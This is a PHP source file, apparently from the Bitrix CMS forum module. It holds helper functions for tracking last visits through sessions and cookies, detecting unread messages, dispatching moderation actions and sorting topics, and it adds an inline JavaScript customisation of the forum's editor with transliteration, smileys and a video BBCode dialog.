function ForumGetUserForumStatus($userID = false, $perm = false, $arAdditionalParams = array())
{
$arStatuses = array(
"guest" => array("guest", $GLOBALS["FORUM_STATUS_NAME"]["guest"]),
"user" => array("user", $GLOBALS["FORUM_STATUS_NAME"]["user"]),
"Q" => array("moderator", $GLOBALS["FORUM_STATUS_NAME"]["moderator"]),
"U" => array("editor", $GLOBALS["FORUM_STATUS_NAME"]["editor"]),
"Y" => array("administrator", $GLOBALS["FORUM_STATUS_NAME"]["administrator"])
);
$res = ($userID === false ? $arStatuses : $arStatuses["guest"]);
if (!empty($userID))
{
$res = $arStatuses["user"];
if ($arStatuses[$perm])
$res = $arStatuses[$perm];
else
{
$arRank = (is_set($arAdditionalParams, "Rank") ?
$arAdditionalParams["Rank"] : CForumUser::GetUserRank($userID, LANGUAGE_ID));
if (is_array($arRank) && $arRank["NAME"])
$res = array($arRank["CODE"], $arRank["NAME"]);
}
}
return $res;
}
function ForumInitParams()
{
// unset($_SESSION["FORUM"]);
$UserLogin = "GUEST";
$LastVisit = time() + CTimeZone::GetOffset();
if ($GLOBALS["USER"]->IsAuthorized())
{
if (!is_array($_SESSION["FORUM"]["USER"]) || $_SESSION["FORUM"]["USER"]["USER_ID"] != $GLOBALS["USER"]->GetID()):
$_SESSION["FORUM"]["USER"] = CForumUser::GetByUSER_ID($GLOBALS["USER"]->GetID());
if ($_SESSION["FORUM"]["USER"]):
$_SESSION["FORUM"]["USER"]["LAST_VISIT_TIMESTAMP"] = MakeTimeStamp($_SESSION["FORUM"]["USER"]["LAST_VISIT"]);
else:
$_SESSION["FORUM"]["USER"] = array();
$_SESSION["FORUM"]["USER"]["LAST_VISIT_TIMESTAMP"] = CForumNew::GetNowTime("timestamp");
endif;
elseif (empty($_SESSION["FORUM"]["USER"]["LAST_VISIT_TIMESTAMP"])):
$_SESSION["FORUM"]["USER"]["LAST_VISIT_TIMESTAMP"] = CForumNew::GetNowTime("timestamp");
endif;
$arUser = $_SESSION["FORUM"]["USER"];
$UserLogin = $GLOBALS["USER"]->GetLogin();
$LastVisit = $_SESSION["FORUM"]["USER"]["LAST_VISIT_TIMESTAMP"];
// if info for this user is not exist that info gets from DB
if (!is_array($_SESSION["FORUM"][$UserLogin]) || intVal($_SESSION["FORUM"][$UserLogin][0]) <= 0)
{
$_SESSION["FORUM"][$UserLogin] = array();
$db_res = CForumUser::GetListUserForumLastVisit(array(), array("USER_ID" => $GLOBALS["USER"]->GetID()));
if ($db_res && $res = $db_res->Fetch()):
do
{
$_SESSION["FORUM"][$UserLogin][intVal($res["FORUM_ID"])] = MakeTimeStamp($res["LAST_VISIT"]);
}while ($res = $db_res->Fetch());
endif;
if (intVal($_SESSION["FORUM"][$UserLogin][0]) <= 0):
$_SESSION["FORUM"][$UserLogin] = array();
CForumUser::SetUserForumLastVisit($GLOBALS["USER"]->GetID(), 0, false);
$db_res = CForumUser::GetListUserForumLastVisit(array(), array("USER_ID" => $GLOBALS["USER"]->GetID(), "FORUM_ID" => 0));
if ($db_res && $res = $db_res->Fetch()):
$_SESSION["FORUM"][$UserLogin][0] = MakeTimeStamp($res["LAST_VISIT"]);
else:
$_SESSION["FORUM"][$UserLogin][0] = $LastVisit;
endif;
endif;
}
// synhronize guest session with authorized user session
if (is_array($_SESSION["FORUM"]["GUEST_TID"]) && !empty($_SESSION["FORUM"]["GUEST_TID"]))
{
foreach ($_SESSION["FORUM"]["GUEST_TID"] as $key => $val):
CForumTopic::SetReadLabelsNew($key, false, $val, array("UPDATE_TOPIC_VIEWS" => "N"));
endforeach;
}
// if (is_array($_SESSION["FORUM"]["GUEST"]) && (!empty($_SESSION["FORUM"]["GUEST"])))
// {
// foreach ($_SESSION["FORUM"]["GUEST"] as $key => $val)
// {
// if (intVal($val) > intVal($_SESSION["FORUM"][$UserLogin][intVal($key)]))
// $_SESSION["FORUM"][$UserLogin][intVal($key)] = intVal($val);
// }
// }
unset($_SESSION["FORUM"]["GUEST_TID"]);
unset($_SESSION["FORUM"]["GUEST"]);
}
else // If user is not authorized that get info from cookies only
{
if (!isset($_SESSION["FORUM"]["GUEST"]) || !is_array($_SESSION["FORUM"]["GUEST"]))
{
$forum_cookie = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_GUEST";
if (isset($_COOKIE[$forum_cookie]) && strlen($_COOKIE[$forum_cookie])>0)
{
$arForum = explode("/", $_COOKIE[$forum_cookie]);
if (is_array($arForum) && count($arForum) > 0)
{
foreach ($arForum as $forumInfo)
{
list($f, $lv) = explode("-", $forumInfo);
$_SESSION["FORUM"]["GUEST"][intVal($f)] = intVal($lv);
}
}
}
}
if (!isset($_SESSION["FORUM"]["GUEST"]) || !is_array($_SESSION["FORUM"]["GUEST"]) || (intVal($_SESSION["FORUM"]["GUEST"][0]) < 0))
{
$_SESSION["FORUM"]["GUEST"] = array();
$_SESSION["FORUM"]["GUEST"][0] = CForumNew::GetNowTime();
}
// All geting info put in cookies
if (COption::GetOptionString("forum", "USE_COOKIE", "N") == "Y"):
$arCookie = array();
foreach ($_SESSION["FORUM"]["GUEST"] as $key => $val):
$arCookie[] = $key."-".$val;
endforeach;
$GLOBALS["APPLICATION"]->set_cookie("FORUM_GUEST", implode("/", $arCookie), false, "/", false, false, "Y", false);
endif;
// It need to save info about visited topics for GUEST in cookies
if (!isset($_SESSION["FORUM"]["GUEST_TID"]) || !is_array($_SESSION["FORUM"]["GUEST_TID"]))
{
$_SESSION["FORUM"]["GUEST_TID"] = array();
$topic_cookie = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_GUEST_TID";
if (isset($_COOKIE[$topic_cookie]) && strlen($_COOKIE[$topic_cookie]) > 0):
$arTopic = explode("/", $_COOKIE[$topic_cookie]);
if (is_array($arTopic) && count($arTopic) > 0):
foreach ($arTopic as $topicInfo):
list($f, $lv) = explode("-", $topicInfo);
$_SESSION["FORUM"]["GUEST_TID"][intVal($f)] = intVal($lv);
endforeach;
endif;
endif;
}
}
// cleaning session date.
if (is_array($_SESSION["FORUM"]))
{
foreach ($_SESSION["FORUM"] as $key => $val):
if (substr($key, 0, strLen("LAST_VISIT_FORUM_")) == "LAST_VISIT_FORUM_"):
unset($_SESSION["FORUM"][$key]);
endif;
endforeach;
}
// and put info in public variable
if (is_array($_SESSION["FORUM"][$UserLogin])):
foreach ($_SESSION["FORUM"][$UserLogin] as $key => $val):
$_SESSION["FORUM"]["LAST_VISIT_FORUM_".$key] = $val;
endforeach;
else:
$_SESSION["FORUM"]["LAST_VISIT_FORUM_0"] = CForumNew::GetNowTime();
endif;
return $_SESSION;
}
function NewMessageForum($FID, $LAST_POST_DATE = false)
{
if (intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_0"]) <= 0)
ForumInitParams();
$FID = intVal($FID);
$LAST_VISIT = max($_SESSION["FORUM"]["LAST_VISIT_FORUM_0"], $_SESSION["FORUM"]["LAST_VISIT_FORUM_".$FID]);
$LAST_POST_DATE = MakeTimeStamp($LAST_POST_DATE);
if (intVal($LAST_POST_DATE) > 0 && $LAST_POST_DATE < $LAST_VISIT):
"";
elseif ($GLOBALS["USER"]->IsAuthorized()):
$arFilter = array("FORUM_ID" => $FID, "RENEW" => $GLOBALS["USER"]->GetID());
if (ForumCurrUserPermissions($FID) < "Q"):
$arFilter["APPROVED"] = "Y";
endif;
$db_res = CForumTopic::GetListEx(array("ID" => "DESC"), $arFilter, false, 1);
if ($db_res && $res = $db_res->Fetch()):
return true;
endif;
else:
$arFilter = array("FORUM_ID" => $FID);
if (is_array($_SESSION["FORUM"]["GUEST_TID"]) && !empty($_SESSION["FORUM"]["GUEST_TID"])):
$arFilter["RENEW_TOPIC"][0] = ConvertTimeStamp($LAST_VISIT, "FULL");
foreach ($_SESSION["FORUM"]["GUEST_TID"] as $key => $val):
$arFilter["RENEW_TOPIC"][intVal($key)] = ConvertTimeStamp($val, "FULL");
endforeach;
else:
$arFilter[">LAST_POST_DATE"] = ConvertTimeStamp($LAST_VISIT, "FULL");
endif;
if (ForumCurrUserPermissions($FID) < "Q"):
$arFilter["APPROVED"] = "Y";
endif;
$db_res = CForumTopic::GetList(array(), $arFilter, false, 1);
if ($db_res && $res = $db_res->Fetch()):
return true;
endif;
endif;
ForumInitParams();
return false;
}
function NewMessageTopic($FID, $TID, $LAST_POST_DATE, $LAST_VISIT)
{
if (intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_0"]) <= 0)
ForumInitParams();
$TID = intVal($TID);
$LAST_POST_DATE = intVal(MakeTimeStamp($LAST_POST_DATE));
$LAST_VISIT = intVal($GLOBALS["USER"]->IsAuthorized() ? MakeTimeStamp($LAST_VISIT) : $_SESSION["FORUM"]["GUEST_TID"][$TID]);
$LAST_VISIT = max($LAST_VISIT, $_SESSION["FORUM"]["LAST_VISIT_FORUM_0"], intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_".$FID]));
return ($LAST_POST_DATE > $LAST_VISIT);
}
function ForumSetReadForum($FID = false)
{
$UserLogin = "GUEST";
$timestamp = CForumNew::GetNowTime("timestamp");
$FID = intVal($FID);
if ($GLOBALS["USER"]->IsAuthorized()):
$UserLogin = $GLOBALS["USER"]->GetLogin();
CForumUser::SetUserForumLastVisit($GLOBALS["USER"]->GetID(), $FID, $timestamp);
endif;
if ($FID <= 0)
{
if (is_array($_SESSION["FORUM"])):
foreach ($_SESSION["FORUM"] as $key => $val):
if (substr($key, 0, strLen("LAST_VISIT_FORUM_")) == "LAST_VISIT_FORUM_"):
unset($_SESSION["FORUM"][$key]);
endif;
endforeach;
endif;
unset($_SESSION["FORUM"][$UserLogin]);
}
$_SESSION["FORUM"][$UserLogin][$FID] = $timestamp;
$_SESSION["FORUM"]["LAST_VISIT_FORUM_".$FID] = $timestamp;
return ForumInitParams();
}
function ForumSetReadTopic($FID, $TID)
{
CForumTopic::SetReadLabelsNew($TID);
if (!$GLOBALS['USER']->IsAuthorized())
{
if (!isset($_SESSION["FORUM"]["GUEST_TID"]))
ForumInitParams();
$_SESSION["FORUM"]["GUEST_TID"][intVal($TID)] = CForumNew::GetNowTime();
if (COption::GetOptionString("forum", "USE_COOKIE", "N") == "Y")
{
$arCookie = array();
foreach ($_SESSION["FORUM"]["GUEST_TID"] as $key => $val):
$arCookie[] = intVal($key)."-".intVal($val);
endforeach;
$GLOBALS["APPLICATION"]->set_cookie("FORUM_GUEST_TID", implode("/", $arCookie), false, "/", false, false, "Y", false);
}
}
}
function ForumSetLastVisit($FID = false, $TID = false, $arAddParams = array())
{
global $DB, $USER;
// For custom components
$GLOBALS["FID"] = $FID = ($FID === false && intVal($GLOBALS["FID"]) > 0 ? intVal($GLOBALS["FID"]) : $FID);
if ($USER->isAuthorized())
{
$GLOBALS["SHOW_FORUM_ICON"] = true; // out-of-date param
$USER_ID = $USER->getID();
$update = true;
if (!is_array($_SESSION["FORUM"]["USER"]) || $_SESSION["FORUM"]["USER"]["USER_ID"] != $USER->getID())
{
$_SESSION["FORUM"]["USER"] = CForumUser::GetByUSER_ID($USER_ID);
if (!$_SESSION["FORUM"]["USER"])
{
$update = false; ;
CForumUser::Add(array("USER_ID" => $USER_ID));
$_SESSION["FORUM"]["USER"] = CForumUser::GetByUSER_ID($USER_ID);
}
$_SESSION["FORUM"]["SHOW_NAME"] = $_SESSION["FORUM"]["USER"]["SHOW_NAME"];
}
if ($update):
CForumUser::Update($USER_ID, array("=LAST_VISIT" => $DB->GetNowFunction()), false, true);
endif;
}
ForumInitParams();
if (!($_SESSION["SESS_SEARCHER_ID"] > 0 && CModule::IncludeModule("statistic")))
CForumStat::RegisterUSER(array("SITE_ID" => SITE_ID, "FORUM_ID" => $FID, "TOPIC_ID" => $TID));
return true;
}
function ForumGetFirstUnreadMessage($FID, $TID)
{
global $USER, $DB;
$TID = intVal($TID);
if ($TID > 0 )
{
if (intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_0"]) <= 0)
ForumInitParams();
$LastVisit = max(intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_0"]), intVal($_SESSION["FORUM"]["LAST_VISIT_FORUM_".$FID])); // client TZ
if ($USER->IsAuthorized())
{
$db_res = CForumMessage::GetListEx(array("ID" => "ASC"),
array("TOPIC_ID" => $TID, "USER_ID" => $USER->GetId(), ">NEW_MESSAGE" => Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG)), $LastVisit)), 0, 1);
}
else
{
$LastVisit = max($LastVisit, intVal($_SESSION["FORUM"]["GUEST_TID"][$TID]));
$db_res = CForumMessage::GetList(array("ID" => "ASC"),
array("TOPIC_ID" => $TID, ">POST_DATE" => Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG)), $LastVisit)), 0, 1);
}
if ($db_res && $res = $db_res->Fetch())
return $res["ID"];
}
return false;
}
function ForumAddPageParams($page_url="", $params=array(), $addIfNull = false, $htmlSpecialChars = true)
{
$strUrl = "";
$strParams = "";
$arParams = array();
$param = "";
// Attention: $page_url already is safe.
if (is_array($params) && (count($params) > 0))
{
foreach ($params as $key => $val)
{
if ((is_array($val) && (count($val) > 0)) || ((strLen($val)>0) && ($val!="0")) || (intVal($val) > 0) || $addIfNull)
{
if (is_array($val))
$param = implode(",", $val);
else
$param = $val;
if ((strLen($param) > 0) || ($addIfNull))
{
if (strPos($page_url, $key) !== false)
{
$page_url = preg_replace("/".$key."\=[^\&]*((\&\;)|(\&)*)/", "", $page_url);
}
$arParams[] = $key."=".$param;
}
}
}
if (count($arParams) > 0)
{
if (strPos($page_url, "?") === false)
$strParams = "?";
elseif ((substr($page_url, -5, 5) != "&") && (substr($page_url, -1, 1) != "&") && (substr($page_url, -1, 1) != "?"))
{
$strParams = "&";
}
$strParams .= implode("&", $arParams);
if ($htmlSpecialChars)
$page_url .= htmlspecialcharsbx($strParams);
else
$page_url .= $strParams;
}
}
return $page_url;
}
function ForumActions($action, $arFields, &$strErrorMessage, &$strOKMessage)
{
$result = false;
$sError = "";
$sNote = "";
if (empty($action))
{
$sError = GetMessage("FORUM_NO_ACTION");
}
else
{
switch ($action)
{
case "REPLY":
$result = ForumAddMessage("REPLY", $arFields["FID"], $arFields["TID"], 0, $arFields, $sError, $sNote, false, $arFields["captcha_word"], 0, $arFields["captcha_code"], $arFields["NAME_TEMPLATE"]);
break;
case "DEL":
$result = ForumDeleteMessage($arFields["MID"], $sError, $sNote, $arFields);
break;
case "SHOW":
case "HIDE":
$result = ForumModerateMessage($arFields["MID"], $action, $sError, $sNote, $arFields);
break;
case "VOTE4USER":
$result = ForumVote4User($arFields["UID"], $arFields["VOTES"], $arFields["VOTE"], $sError, $sNote, $arFields);
break;
case "FORUM_MESSAGE2SUPPORT":
$result = ForumMoveMessage2Support($arFields["MID"], $sError, $sNote, $arFields);
break;
case "FORUM_SUBSCRIBE":
case "TOPIC_SUBSCRIBE":
case "FORUM_SUBSCRIBE_TOPICS":
$result = ForumSubscribeNewMessagesEx($arFields["FID"], $arFields["TID"], $arFields["NEW_TOPIC_ONLY"], $sError, $sNote);
break;
case "SET_ORDINARY":
case "SET_TOP":
case "ORDINARY":
case "TOP":
if ($action == "SET_ORDINARY")
$action = "ORDINARY";
elseif ($action == "SET_TOP")
$action = "TOP";
$result = ForumTopOrdinaryTopic($arFields["TID"], $action, $sError, $sNote, $arFields);
break;
case "DEL_TOPIC":
$result = ForumDeleteTopic($arFields["TID"], $sError, $sNote, $arFields);
break;
case "OPEN":
case "CLOSE":
case "STATE_Y":
case "STATE_N":
if ($action == "STATE_Y")
$action = "OPEN";
elseif ($action == "STATE_N")
$action = "CLOSE";
$result = ForumOpenCloseTopic($arFields["TID"], $action, $sError, $sNote, $arFields);
break;
case "SHOW_TOPIC":
case "HIDE_TOPIC":
$db_res = CForumMessage::GetList(array(), array("TOPIC_ID" => $arFields["TID"],
"APPROVED" => ($action == "HIDE_TOPIC" ? "Y" : "N")));
$message = array();
if ($db_res && $res = $db_res->Fetch()):
do
{
$message[] = $res["ID"];
} while ($res = $db_res->Fetch());
endif;
if (!empty($message)):
$s = "";
$result = ForumModerateMessage($message, ($action == "HIDE_TOPIC" ? "HIDE" : "SHOW"), $sError, $s, $arFields);
else:
$result = true;
endif;
CForumEventLog::Log("topic", ($action == "HIDE_TOPIC" ? "unapprove" : "approve"), $arFields["TID"], serialize(CForumTopic::GetByID($arFields["TID"])));
break;
case "SPAM_TOPIC":
$result = ForumSpamTopic($arFields["TID"], $sError, $sNote, $arFields);
break;
case "SPAM":
$result = ForumSpamMessage($arFields["MID"], $sError, $sNote, $arFields);
break;
default:
$sError = GetMessage("FORUM_NO_ACTION")." (".htmlspecialcharsbx($action).")";
break;
}
}
$strErrorMessage = $sError;
$strOKMessage = $sNote;
return $result;
}
function ForumDataToArray(&$message)
{
if (!is_array($message))
$message = explode(",", $message);
foreach ($message as $key => $val)
{
$message[$key] = intVal(trim($val));
}
if (array_sum($message) > 0)
return $message;
else
return false;
}
function ForumGetTopicSort(&$field_name, &$direction, $arForumInfo = array())
{
$aSortOrder = array(
"P" => "LAST_POST_DATE",
"T" => "TITLE",
"N" => "POSTS",
"V" => "VIEWS",
"D" => "START_DATE",
"A" => "USER_START_NAME");
if (empty($field_name) && !empty($arForumInfo))
{
$field_name = trim($arForumInfo["ORDER_BY"]);
$direction = trim($arForumInfo["ORDER_DIRECTION"]);
}
$field_name = strToUpper($field_name);
$direction = strToUpper($direction);
$field_name = (!empty($aSortOrder[$field_name]) ? $aSortOrder[$field_name] : (in_array($field_name, $aSortOrder) ? $field_name : "LAST_POST_DATE"));
$direction = ($direction == "ASC" ? "ASC" : "DESC");
return array($field_name => $direction);
}
function ForumShowError($arError, $bShowErrorCode = false)
{
$bShowErrorCode = ($bShowErrorCode === true ? true : false);
$sReturn = "";
$tmp = false;
$arRes = array();
if (empty($arError))
return $sReturn;
elseif (!is_array($arError))
return $arError;
if (!empty($arError["title"]) || !empty($arError["code"]))
{
$res = $arError;
$sReturn .= (!empty($res["title"]) ? $res["title"] : $res["code"]).
($bShowErrorCode ? "[CODE: ".$res["code"]."]" : "");
unset($arError["code"]); unset($arError["title"]);
}
foreach ($arError as $res):
$sReturn .= (!empty($res["title"]) ? $res["title"] : $res["code"]).
($bShowErrorCode ? "[CODE: ".$res["code"]."]" : "")." ";
endforeach;
return $sReturn;
}
function ForumClearComponentCache($components)
{
if (empty($components))
return false;
$aComponents = (is_array($components) ? $components : explode(",", $components));
foreach($aComponents as $component_name)
{
$componentRelativePath = CComponentEngine::MakeComponentPath($component_name);
if (strlen($componentRelativePath) > 0)
{
$arComponentDescription = CComponentUtil::GetComponentDescr($component_name);
if (is_array($arComponentDescription) && array_key_exists("CACHE_PATH", $arComponentDescription))
{
if($arComponentDescription["CACHE_PATH"] == "Y")
$arComponentDescription["CACHE_PATH"] = "/".SITE_ID.$componentRelativePath;
if(strlen($arComponentDescription["CACHE_PATH"]) > 0)
BXClearCache(true, $arComponentDescription["CACHE_PATH"]);
}
}
}
}
function InitSortingEx($Path=false, $sByVar="by", $sOrderVar="order")
{
static $ii = -1;
$ii++;
global $APPLICATION, ${$sByVar}, ${$sOrderVar};
$sByVarE = $sByVar . $ii;
$sOrderVarE = $sOrderVar . $ii;
global ${$sByVarE}, ${$sOrderVarE};
if($Path===false)
$Path = $APPLICATION->GetCurPage();
$md5Path = md5($Path);
if (!empty(${$sByVarE}))
$_SESSION["SESS_SORT_BY_EX"][$md5Path][$sByVarE] = ${$sByVarE};
else
${$sByVarE} = $_SESSION["SESS_SORT_BY_EX"][$md5Path][$sByVarE];
if(!empty(${$sOrderVarE}))
$_SESSION["SESS_SORT_ORDER_EX"][$md5Path][$sOrderVarE] = ${$sOrderVarE};
else
${$sOrderVarE} = $_SESSION["SESS_SORT_ORDER_EX"][$md5Path][$sOrderVarE];
strtolower(${$sByVarE});
strtolower(${$sOrderVarE});
${$sByVar} = ${$sByVarE};
${$sOrderVar} = ${$sOrderVarE};
return $ii;
}
function ForumAddDeferredScript($script)
{
$url = CUtil::GetAdditionalFileURL($script);
return "<script>BX.ready(function(){BX.loadScript(\"".$url."\");});</script>\n";
}
/*
GetMessage("FORUM_NO_MODULE");
*/
function CustomizeLHEForForum()
{
?>
<script>
LHEButtons['Translit'].handler = function(pBut)
{
var but = pBut;
var translit = function(textbody)
{
if (typeof but.pLEditor.bTranslited == 'undefined')
but.pLEditor.bTranslited = false;
var arStack = new Array();
var i = 0;
function bPushTag(str, p1, offset, s)
{
arStack.push(p1);
return "\001";
}
function bPopTag(str, p1, offset, s)
{
return arStack.shift();
}
var r = new RegExp("(\\[[^\\]]*\\])", 'gi');
textbody = textbody.replace(r, bPushTag);
if ( but.pLEditor.bTranslited == false)
{
for (i=0; i<capitEngLettersReg.length; i++) textbody = textbody.replace(capitEngLettersReg[i], capitRusLetters[i]);
for (i=0; i<smallEngLettersReg.length; i++) textbody = textbody.replace(smallEngLettersReg[i], smallRusLetters[i]);
but.pLEditor.bTranslited = true;
}
else
{
for (i=0; i<capitRusLetters.length; i++) textbody = textbody.replace(capitRusLettersReg[i], capitEngLetters[i]);
for (i=0; i<smallRusLetters.length; i++) textbody = textbody.replace(smallRusLettersReg[i], smallEngLetters[i]);
but.pLEditor.bTranslited = false;
}
textbody = textbody.replace(new RegExp("\001", "g"), bPopTag);
return textbody;
}
pBut.pLEditor.SaveContent();
var content = translit(pBut.pLEditor.GetContent());
BX.defer(function()
{
if (window.oLHE.sEditorMode == 'code')
window.oLHE.SetContent(content);
else
window.oLHE.SetEditorContent(content);
})();
}
LHEButtons['SmileList']['SetSmile'] = function(k, pList)
{
//pList.pLEditor.RestoreSelectionRange();
var oSmile = pList.oSmiles[k];
if (pList.pLEditor.sEditorMode == 'code') // In BB or in HTML
pList.pLEditor.WrapWith(' ', ' ', oSmile.code);
else // WYSIWYG
pList.pLEditor.InsertHTML('<img id="' + pList.pLEditor.SetBxTag(false, {tag: "smile", params: oSmile}) + '" src="' + oSmile.path + '" title="' + oSmile.name + '"/>');
if (pList.bOpened)
pList.Close();
};
LHEButtons['SmileList']['parser']['obj']['UnParse'] = function(bxTag, pNode, pLEditor)
{
if (!bxTag.params || !bxTag.params.code)
return '';
return ' ' + bxTag.params.code + ' ';
};
LHEButtons['ForumVideo'] = {
id : 'ForumInputVideo',
src : '/bitrix/components/bitrix/forum/templates/.default/images/bbcode/font_video.gif',
name : '<?=GetMessage("FR_VIDEO")?>',
handler: function(pBut)
{
pBut.pLEditor.OpenDialog({id : 'ForumVideo', obj: false});
},
OnBeforeCreate: function(pLEditor, pBut)
{
// Disable in non BBCode mode in html
pBut.disableOnCodeView = !pLEditor.bBBCode || pLEditor.arConfig.bConvertContentFromBBCodes;
return pBut;
},
parser: {
name: 'forumvideo',
obj: {
Parse: function(sName, sContent, pLEditor)
{
sContent = sContent.replace(/\[VIDEO\s*?width=(\d+)\s*?height=(\d+)\s*\]((?:\s|\S)*?)\[\/VIDEO\]/ig, function(str, w, h, src)
{
var
w = parseInt(w) || 400,
h = parseInt(h) || 300,
src = BX.util.trim(src);
return '<img id="' + pLEditor.SetBxTag(false, {tag: "forumvideo", params: {value : src}}) + '" src="/bitrix/images/1.gif" class="bxed-video" width=' + w + ' height=' + h + ' title="' + BX.message.Video + ": " + src + '" />';
});
return sContent;
},
UnParse: function(bxTag, pNode, pLEditor)
{
if (bxTag.tag == 'forumvideo')
{
return "[VIDEO WIDTH=" + pNode.arAttributes["width"] + " HEIGHT=" + pNode.arAttributes["height"] + "]" + bxTag.params.value + "[/VIDEO]";
}
return "";
}
}
}
}
if (!LHEButtons['InputVideo'])
LHEButtons['InputVideo'] = LHEButtons['ForumVideo'];
window.LHEDailogs['ForumVideo'] = function(pObj)
{
var str = '<table width="100%"><tr>' +
'<td class="lhe-dialog-label lhe-label-imp"><label for="' + pObj.pLEditor.id + 'lhed_forum_video_path"><b><?= GetMessage('FR_VIDEO_P')?>:</b></label></td>' +
'<td class="lhe-dialog-param">' +
'<input id="' + pObj.pLEditor.id + 'lhed_forum_video_path" value="" size="30"/>' +
'</td>' +
'</tr><tr>' +
'<td></td>' +
'<td style="padding: 0!important; font-size: 11px!important;"><?= GetMessageJS('FR_VIDEO_PATH_EXAMPLE')?></td>' +
'</tr><tr>' +
'<td class="lhe-dialog-label lhe-label-imp"><label for="' + pObj.pLEditor.id + 'lhed_forum_video_width">' + BX.message.ImageSizing + ':</label></td>' +
'<td class="lhe-dialog-param">' +
'<input id="' + pObj.pLEditor.id + 'lhed_forum_video_width" value="" size="4"/>' +
' x ' +
'<input id="' + pObj.pLEditor.id + 'lhed_forum_video_height" value="" size="4" />' +
'</td>' +
'</tr></table>';
return {
title: "<?= GetMessageJS('FR_VIDEO')?>",
innerHTML : str,
width: 480,
OnLoad: function()
{
pObj.pPath = BX(pObj.pLEditor.id + "lhed_forum_video_path");
pObj.pWidth = BX(pObj.pLEditor.id + "lhed_forum_video_width");
pObj.pHeight = BX(pObj.pLEditor.id + "lhed_forum_video_height");
pObj.pLEditor.focus(pObj.pPath);
},
OnSave: function()
{
pLEditor = window.oLHE;
var
src = BX.util.trim(pObj.pPath.value),
w = parseInt(pObj.pWidth.value) || 400,
h = parseInt(pObj.pHeight.value) || 300;
if (src == "")
return;
if (pLEditor.sEditorMode == 'code' && pLEditor.bBBCode) // BB Codes
{
pLEditor.WrapWith("", "", "[VIDEO WIDTH=" + w + " HEIGHT=" + h + "]" + src + "[/VIDEO]");
}
else if(pLEditor.sEditorMode == 'html') // WYSIWYG
{
pLEditor.InsertHTML('<img id="' + pLEditor.SetBxTag(false, {tag: "forumvideo", params: {value : src}}) +
'" src="/bitrix/images/1.gif" class="bxed-video" width=' + w + ' height=' + h +
' title="' + BX.message.Video + ": " + src + '" />');
}
}
};
};
</script>
<?
}
function ForumGetEntity($entityId, $value = true)
{
static $arForumGetEntity = array();
if (array_key_exists($entityId, $arForumGetEntity))
return $arForumGetEntity[$entityId];
$arForumGetEntity[$entityId] = $value;
return false;
}
?>